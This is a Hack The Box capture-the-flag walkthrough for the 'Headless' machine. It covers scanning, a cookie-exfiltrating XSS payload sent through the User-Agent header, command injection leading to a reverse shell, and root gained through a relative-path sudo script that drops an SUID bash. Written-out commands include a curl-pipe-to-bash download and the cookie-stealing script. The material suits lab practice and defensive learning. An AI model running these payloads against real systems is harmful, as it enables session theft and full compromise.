Headless

INTRODUCTION

The penultimate box of HTB’s Season IV Savage Lands, released for week 12, is Headless. While I haven’t really been participating in the season, this is one of the few boxes that I attempted within the 1 week limit. It was totally worth it! This box is an absolute delight, and I can’t recommend it enough. There aren’t any rabbit-holes on this one, and most of the effort will simply be to gain a foothold. It’s a quick box that reinforces some good hacking fundamentals.

Gaining a foothold on this box requires a little bit of out-of-the-box thinking. Putting yourself in the seat of an actual attacker, you’ll find a portion of the website that can be abused to gain a foothold via cross-site scripting. The really fun thing is that the box created scripted up an automated “administrator” that acts as a human might - so you can finally try some XSS on an HTB target! After finding a way into an admin dashboard, some easy command injection will grant you access.

The user flag is available on initial access to the target. At this point, be sure to open up an SSH connection, or you might miss something important! That being said, even if you miss this important thing, some simple enumeration of the user will point you in the right direction. Privesc to root is apparent after just a little bit of code reading. Exploiting the privesc vulnerability is trivial once the vulnerability is identified. Best of luck on this one!

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Oh, interesting! Only SSH and UPnP… It truly is headless 😀

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 23 Mar 2024 21:01:25 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

However, the data that we got from the default scripts scan of the UPnP port 5000 appears to be HTML. I might try connecting to it with nc or even requesting http from it. I can see that it is using Python 3.11.2 and Werkzeug 2.2.2, so it’s clearly an http server (I’m fairly certain that’s all that Werkzeug is for).

That Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs header also seems interesting.

While the rest of my nmap scans were running, I tried connecting to that port using http, and got a website:

index page

I also took a quick look at the page source code: it looks completely secure. The only thing of note is the link to the /support page.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

Not shown: 86 closed udp ports (port-unreach)
PORT      STATE         SERVICE      VERSION
19/udp    open|filtered tcpwrapped
68/udp    open|filtered tcpwrapped
88/udp    open|filtered kerberos-sec
111/udp   open|filtered rpcbind
120/udp   open|filtered tcpwrapped
135/udp   open|filtered msrpc
520/udp   open|filtered route
631/udp   open|filtered tcpwrapped
1023/udp  open|filtered tcpwrapped
1025/udp  open|filtered blackjack
1701/udp  open|filtered L2TP
2223/udp  open|filtered tcpwrapped
5353/udp  open|filtered zeroconf
49201/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=headless.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

I’m quite curious about that cookie. It looks like base64 - let’s decode it:

base64 decode 1

Ok, so the first part decodes to “user”. I’ll try assuming the . is a separator between a key and a variable, and just decode everything after the .:

base64 decode 2

Hmm, nope.

I’ll move on to directory enumeration on http://headless.htb:5000:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e js,html -timeout 4 -v

Directory enumeration against http://[domain].htb/ gave the following:

directory enumeration 1

However, when including the provided cookie, that 500 status for /dashboard changes to a 401 Unauthorized. Maybe all I need to do is brute-force the cookie? I’ll come back to this approach later 🚩

The cookie clearly encodes a username. Perhaps I just need to put a username for an admin in there?

To check what other methods might be available for dashboard, I fuzzed the http verb:

WLIST=/usr/share/seclists/Fuzzing/http-request-methods.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/dashboard -t 80 -c -o ffuf-directories-root -of json -e js,html -timeout 4 -v -b 'is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs' -X FUZZ -fc 405

http verbs

Ok, that’s not too surprising.

Exploring the Website

After clicking the For Questions button from the index page, I was brought to the /support page, where there is a short form. Checking out the source code, it looks like the form actually does something; it POSTs to /support:

support page

But when I Submit that form, nothing really happens. Interestingly, when I submit the form with the same contents, except with suffizing the message with a hundred or so copies of <>?!@#$%^&*(){}, I get something new:

hacking attempt detected

😂 I wonder what part of that it didn’t like. I tried decomposing it a little bit, and it seems that the part flagging me as “hacking” driven by a regex that denies matching pairs of angle brackets <...> or double curly braces {{...}}.

But maybe I can use this. “User-controllable values being reflected to the page”? That makes me think of XSS and SSTI. Let’s explore those next 🚩 But first, I’ll quickly check for sql injection.

FOOTHOLD

SQL Injection

🚫 This is not the correct path. Skip to the next section if you’re short on time.

Just to “check all the boxes”, let’s test this form for an SQL injection. I filled out the Contact Support form as shown above and proxied the form submission through Burp. Then, I saved the request to support.req:

save request

Now I’ll hand that request to sqlmap and let it do it’s thing:

 sqlmap -r support.req --batch

sql injection failure

SSTI

The initial reaction may be to seek some kind of bypass for the “Hacking Attempt Detected” check. That would entail figuring out a way to bypass whatever regex of WAF is blocking the angle brackets <...> or double curly braces {{...}}.

But actually, we don’t want to bypass it at all! The user-controlled parameters are reflected to the page when we get caught. So actually, I should intentionally have my hacking attempts detected, but sneak a payload into a user-controlled parameter 🙂

I’ll try planting all kinds of SSTIs inside the cookie:

WLIST=/usr/share/seclists/Fuzzing/template-engines-expression.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/support \
-d 'fname=Jim&lname=Bob&email=jimbob%40fake.htb&phone=789-555-0123&message=This+is+my+message<>' \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-b 'is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_ZfsFUZZ' \
-t 80 -c -timeout 4 -v  -mr 'fs1764'

No results from that. I also tried manually, assuming that Jinja2 is in use - just to see if any parameters other than the cookie might be vulnerable:

ssti test

No result from that, or any tests similar to the above request.

XSS

Let’s consider the Hacking Attempt Detected message for a second:

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

Oh, so an administrator might be reading the output of this? Sounds like a great opportunity for XSS. Let’s craft a payload. First, examine where the text gets reflected:

<pre>
	<strong>Method:</strong> POST<br>
	<strong>URL:</strong> http://10.10.11.8:5000/support<br>
	<strong>Headers:</strong> <strong>Host:</strong> 10.10.11.8:5000<br>
	<strong>User-Agent:</strong> Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>
	<strong>Accept:</strong> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>
	<strong>Accept-Language:</strong> en-US,en;q=0.5<br>
	<strong>Accept-Encoding:</strong> gzip, deflate, br<br>
	<strong>Content-Type:</strong> application/x-www-form-urlencoded<br>
	<strong>Content-Length:</strong> 91<br>
	<strong>Origin:</strong> http://10.10.11.8:5000<br>
	<strong>Dnt:</strong> 1<br>
	<strong>Connection:</strong> close<br>
	<strong>Referer:</strong> http://10.10.11.8:5000/support<br>
	<strong>Cookie:</strong> is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs<br>
	<strong>Upgrade-Insecure-Requests:</strong> 1<br><strong>Sec-Gpc:</strong> 1<br>
	<br>
</pre>

Most of these fields are user-controllable, but the ones with least restriction to them are inevitably the cookie and the user-agent. Since the user-agent can be literally anything, let’s play with that first.

The reflected text’s only parent is the <pre> node, so I should be able to just introduce a new element.

Also, for successful XSS we’ll need something to catch the data exfiltrated. For this, I’ll use a simple python webserver:

sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000

Now, let’s send a simple “redirect” XSS to the target, using the User-Agent header:

xss attempt 1

To my delight, after a few seconds of waiting, the “administrator” took a peek, and was redirected!

successful xss

Fantastic, so we now have the administrator’s cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

I’ll try navigating to the /dashboard page and swap out the cookie for this one:

dashboard as admin

This worked perfectly!

admin dashboard 1

I’ll copy the cookie into my browser so I don’t have to keep proxying it.

Aside: XSS local testing

I’ll admit… I’m horrendously bad at XSS right now. To be honest, I’ve only used it once or twice. To get the stuff from the previous section to work, I had to test it locally first. This was my test environment:

  • Python http.server running locally, awaiting connections from the target
  • An html file containing my XSS payload.

I would then load the html file in my browser, and check the http.server to see if it had a hit.

The html file was as follows. Note that I was testing the XSS in two places - the <script> at the bottom, and the <span> reflecting the user agent:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>XSS Test Page</title>
    <script>
        function setCookie(name, value) {
            var date = new Date();
            date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
            var expires = "; expires=" + date.toUTCString();
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }
        window.onload = function() {
            setCookie("is_admin", "yougotme...yay!");
            document.getElementById('userAgent').innerText = navigator.userAgent;
        };
    </script>
  </head>
  <body>
    <main>
        <h1>Welcome to My Website</h1>
        <ul><li>
            <h3>XSS via user agent test</h3>
            <p class="note-text">User Agent: <span id="userAgent"></span></p>
        </li></ul>
    </main>
    <script>document.location="http://127.0.0.1:8000/hello?c="+document.cookie;</script>
  </body>

USER FLAG

Gaining RCE

Now that we’ve found a way into the /dashboard, let’s figure out how to turn this into RCE - or if it’s possible. Let’s examine the request that occurs when we click Generate Report:

generate report

Interesting. That’s a format that pretty much anything could use. If we’re extra lucky, it’s just getting interpreted by the shell, probably to write to some kind of log file or be part of a filename using the date function.

Just in case, I’ll start up a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP_LISTEN:4444 STDOUT

Now let’s try sending a really simple reverse shell payload. I’ll URL-encode the highlighted bit below:

reverse shell payload

Wow - this must be my lucky day!

got reverse shell

If I’m not mistaken, dvir is the name of the box creator.

Fantastic. Let’s search for the user flag:

user flag

It’s in the home directory, so just cat it for the points 🎉

cat /home/dvir/user.txt

SSH Connection

To get a little more comfortable, I’ll switch to SSH.

# On the attacker machine:
ssh-keygen -t rsa -b 4096 # used passphrase p1geon
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# On the target machine:
echo 'c3NoLXJ....bGkK' | base64 -d >> ~/.ssh/authorized_keys
# On attacker machine:
ssh -i ./id_rsa dvir@$RADDR

Hmm, looks like I have some mail waiting for me:

ssh connection

ROOT FLAG

Checking the mail

Mail should be in /var/mail/$USER:

cat /var/mail/dvir
Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

To find this rapidly, I checked using linpeas:

curl -s http://10.10.14.19:8000/linpeas.sh | bash

Found it without too much trouble. This must be what the email was referring to:

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

I’ll try running it:

syscheck

Maybe I can read it and see what it’s up to:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

😂 Ok, I see the vulnerable line. It’s the call to ./initdb.sh 2>/dev/null. This line uses only a relative path, yet I can run this script from anywhere. I’ll just cook up a script to copy over an SUID bash, saving it as make_suid_bash.sh:

#!/bin/bash
cp /usr/bin/bash /tmp/.Tools/bash
chmod u+s /tmp/.Tools/bash

Now I’ll download it onto the target and call it initdb.sh:

mkdir -p /tmp/.Tools
curl -o initdb.sh http://10.10.14.19:8000/make_suid_bash.sh
chmod +x initdb.sh

Everything is in place now - I just need to run it:

made suid bash

There’s the SUID bash! Run it with -p to gain a root shell:

root shell

😉 That’s all. Just cat the root flag to finish off the box:

cat /root/root.txt

LESSONS LEARNED

two crossed swords

Attacker

  • Test locally as much as you want. This box was a great refresher in some basic XSS techniques for me. It’s not something I do often, so the practice was welcome. As such, I had to scrap together a quick test system to try to perform XSS on a site made to mimic the target. No shame in that - all practice is good.

  • Start an SSH connection even if you don’t strictly need to. On this box, logging in via SSH prompted us to check our mail. This is one tiny benefit of using SSH. Another benefit is that, if SSHd is already running on the target, it’s a lot more stealthy to connect to a port explicitly granting access, instead of some ludicrous-looking shell being passed through TCP port 4444! 😂

two crossed swords

Defender

  • Exceptional cases matter just as much as the “normal” operation of a system, when considering security. While the administrators had cleverly included mechanisms to catch XSS and SSTI attempts, they introduced the very vulnerability they were trying to patch by displaying the exceptional case to the user.

  • Know what code is trusted, and what is not. Think of all of the code that can be ran as root by a low-privilege user as being functionally the same as code that can only be ran by root. On this box, privesc to root was easy because there was some code being ran from a sudo-able script, where that code was user-editable! Anything that can be ran by root should be in /usr/sbin or something similarly locked-down. Mind your permissions, please!


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake